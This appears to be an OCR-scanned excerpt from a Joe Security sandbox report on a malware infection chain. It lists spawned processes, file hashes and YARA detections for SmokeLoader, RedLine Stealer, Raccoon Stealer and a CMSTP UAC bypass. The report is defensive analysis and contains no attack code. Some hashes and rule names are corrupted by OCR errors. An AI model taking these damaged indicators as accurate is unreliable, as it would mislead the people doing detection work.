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https://www.metadefender.com/#!/results/file/bzIxMTAyNEI3RzNlX0R2QmFPaGE4cm15cTFC/regular/analysis

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

20:28:43

29/10/2021
C:\Users\user\AppData\Local\Temp\12C6.exe
true
C:\Users\user\AppData\Local\Temp\12C6.exe
0x400000

344064 bytes
3B947ED5AABDD775B1AFC31A5C4D39A0
false

false

C, C++ or other language

Reputation: low

‘ Analysis Process: bsstvub PID: 6956 Parent PID: 7000 ’
General

Start time: 20:28:43

Start date: 29/10/2021

Path: C:\Users\user\AppData\Roaming\bsstvub

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true
C:\Users\user\AppData\Roaming\bsstvub
0x400000

343552 bytes
C5A077A9785424C21611801DB5DDOF95
false

false

C, C++ or other language

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000013.00000002.401208082.00000000005B1000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000013.00000002.401135304.0000000000570000.00000004.00000001.sdmp, Author:

Joe Security

Reputation: low

Analysis Process: 12C6.exe PID: 6176 Parent PID: 7040
General
Start time: 20:28:49
Start date: 29/10/2021
Path: C:\Users\user\AppData\Local\Temp\12C6.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Local\Temp\12C6.exe
Imagebase: 0x400000
File size: 344064 bytes
MDS5 hash: 3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges: false
Has administrator privileges: false

Programmed in:

Yara matches:

Reputation:

Copyright Joe Security LLC 2021

C, C++ or other language

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000014.00000002.414180179.0000000000460000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000014.00000002.414253923.00000000004F1000.00000004.00020000.sdmp, Author:
Joe Security

low
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Analysis Process: B4BD.exe PID: 4036 Parent PID: 3352

General
Start time: 20:28:58
Start date: 29/10/2021
Path: C:\Users\user\AppData\Local\Temp\B4BD.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Local\Temp\B4BD.exe
Imagebase: 0xe30000
File size: 512512 bytes
MD5 hash: F57B28AEC65D4691202B9524F84CC54A
Has elevated privileges: false
Has administrator privileges: false
Programmed in: .Net C# or VB.NET
Yara matches: e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious
executable with reference to a Discord attachment (often used for malware hosting on a
legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B4BD.exe, Author: Florian
Roth
Reputation: low
File Activities Show Windows behavior
File Created
File Written
File Read
Registry Activities Show Windows behavior
Analysis Process: 234F.exe PID: 6424 Parent PID: 3352
General
Start time: 20:29:01
Start date: 29/10/2021
Path: C:\Users\user\AppData\Local\Temp\234F.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Local\Temp\234F.exe
Imagebase: 0x1c0000
File size: 512952 bytes
MDS5 hash: 42758E2569239A774BECDB12698B124C
Has elevated privileges: false
Has administrator privileges: false
Programmed in: .Net C# or VB.NET
Yara matches: e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious
executable with reference to a Discord attachment (often used for malware hosting on a
legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\234F.exe, Author: Florian
Roth
Reputation: low
File Activities Show Windows behavior
File Created
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File Read

Registry Activities Show Windows behavior

L J

Analysis Process: 2E6C.exe PID: 1372 Parent PID: 3352

General
Start time: 20:29:03
Start date: 29/10/2021
Path: C:\Users\user\AppData\Local\Temp\2E6C.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Local\Temp\2E6C.exe
Imagebase: 0x400000
File size: 212992 bytes
MD5 hash: 73252ACB344040DDC5D9CE78A5D3A4C2
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000001D.00000003.443536415.0000000002FC0000.00000004.00000001.sdmp,
Author: Joe Security
o Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000001D.00000002.465800320.0000000002FC0000.00000004.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source:
0000001D.00000002.466019596.0000000003001000.00000004.00020000.sdmp, Author:
Joe Security
Reputation: moderate
File Activities Show Windows behavior
File Created
File Written
Analysis Process: 39F6.exe PID: 244 Parent PID: 3352
General
Start time: 20:29:07
Start date: 29/10/2021
Path: C:\Users\user\AppData\Local\Temp\39F6.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Local\Temp\39F6.exe
Imagebase: 0x860000
File size: 859648 bytes
MDS5 hash: AB823DF932B3C2941A9015848EBDBI7B
Has elevated privileges: false
Has administrator privileges: false
Programmed in: Net C# or VB.NET
Reputation: low
File Activities Show Windows behavior
File Created
File Written
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File Read

Registry Activities

Key Value Created

Show Windows behavior

Analysis Process: 4F44.exe PID: 6980 Parent PID: 3352

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Read

Registry Activities

20:29:12

29/10/2021
C:\Users\user\AppData\Local\Temp\4F44.exe
true
C:\Users\user\AppData\Local\Temp\4F44.exe
0x830000

161280 bytes
9FA070AF1ED2E1FO07ED8CIF6EB2BDD29
false

false

.Net C# or VB.NET

moderate

Show Windows behavior

Show Windows behavior

Analysis Process: 5AFD.exe PID: 5660 Parent PID: 3352

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

20:29:15

29/10/2021
C:\Users\user\AppData\Local\Temp\5AFD.exe
true
C:\Users\user\AppData\Local\Temp\5AFD.exe
0x400000

347136 bytes
31BE6099D31BDBF1ED339EFFDC1C7064
false

false

C, C++ or other language

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000021.00000002.484679708.0000000002CE1000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000021.00000002.484587747.0000000002CC0000.00000004.00000001.sdmp, Author:
Joe Security

Analysis Process: dfsvc.exe PID: 6040 Parent PID: 4036

General
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

20:29:16
29/10/2021

C:\Windows\Microsoft. NET\Framework\v4.0.30319\dfsvc.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe

24160 bytes
48FD4DD682051712E3E7757C525DED71
false

false

C, C++ or other language

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000022.00000000.471569387.0000000000402000.00000040.00000001.sdmp, Author:

Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000022.00000000.472237000.0000000000402000.00000040.00000001.sdmp, Author:

Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000022.00000000.473649658.0000000000402000.00000040.00000001.sdmp, Author:

Joe Security
Analysis Process: 39F6.exe PID: 6368 Parent PID: 244
General
Start time: 20:29:18
Start date: 29/10/2021
Path: C:\Users\user\AppData\Local\Temp\39F6.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

39F6.exe

0x560000

859648 bytes
AB823DF932B3C2941A9015848EBDB97B
false

false

C, C++ or other language

Analysis Process: 69D3.exe PID: 6156 Parent PID: 3352

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

20:29:19

29/10/2021
C:\Users\user\AppData\Local\Temp\69D3.exe
true
C:\Users\user\AppData\Local\Temp\69D3.exe
0x400000

600064 bytes
C1EB42674C5E7180ADEFEC71EE8B1D60
false

false

C, C++ or other language

e Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source:
00000024.00000003.473154873.00000000048A0000.00000004.00000001.sdmp, Author:

Joe Security
Analysis Process: DataSvcUTtil.exe PID: 2056 Parent PID: 4036
General
Start time: 20:29:29

Copyright Joe Security LLC 2021

Page 95 of 97



Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

29/10/2021
C:\Windows\Microsoft. NET\Framework\v4.0.30319\DataSvcUtil.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe

71776 bytes
CCDF8F3B189FFB839B390F695FAE2AGD
false

false

C, C++ or other language

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000025.00000000.488797588.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000025.00000000.486835235.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000025.00000000.487989630.0000000000402000.00000040.00000001.sdmp, Author:

Joe Security
Analysis Process: 39F6.exe PID: 4716 Parent PID: 3352
General
Start time: 20:29:30
Start date: 29/10/2021
Path: C:\Users\user\AppData\Local\Temp\39F6.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true
‘C:\Users\user\AppData\Local\Temp\39F6.exe'
0x9f0000

859648 bytes
AB823DF932B3C2941A9015848EBDB97B
false

false

Net C# or VB.NET

Analysis Process: AddInUtil.exe PID: 6984 Parent PID: 4036

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

20:29:34
29/10/2021
C:\Windows\Microsoft. NET\Framework\v4.0.30319\AddInUtil.exe

C:\Windows\Microsoft. NET\Framework\v4.0.30319\AddInUtil.exe

42600 bytes
65D30D747EB31E108A36EBC966C1227D
false

false

C, C++ or other language

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000027.00000000.494537883.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000027.00000000.495400443.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000027.00000000.493522806.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

Analysis Process: 4F44.exe PID: 7164 Parent PID: 6980

Copyright Joe Security LLC 2021
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

20:29:37

29/10/2021

C:\Users\user\AppData\Local\Temp\4F44.exe

false

C:\Users\user\AppData\Local\Temp\4F44.exe

0x3f0000

161280 bytes
9FA070AF1ED2E1FO07ED8CIF6EB2BDD29

false

false

C, C++ or other language

.

Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000028.00000000.514503943.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000028.00000002.543712814.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000028.00000000.516850335.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000028.00000000.523576930.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000028.00000000.513777665.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security
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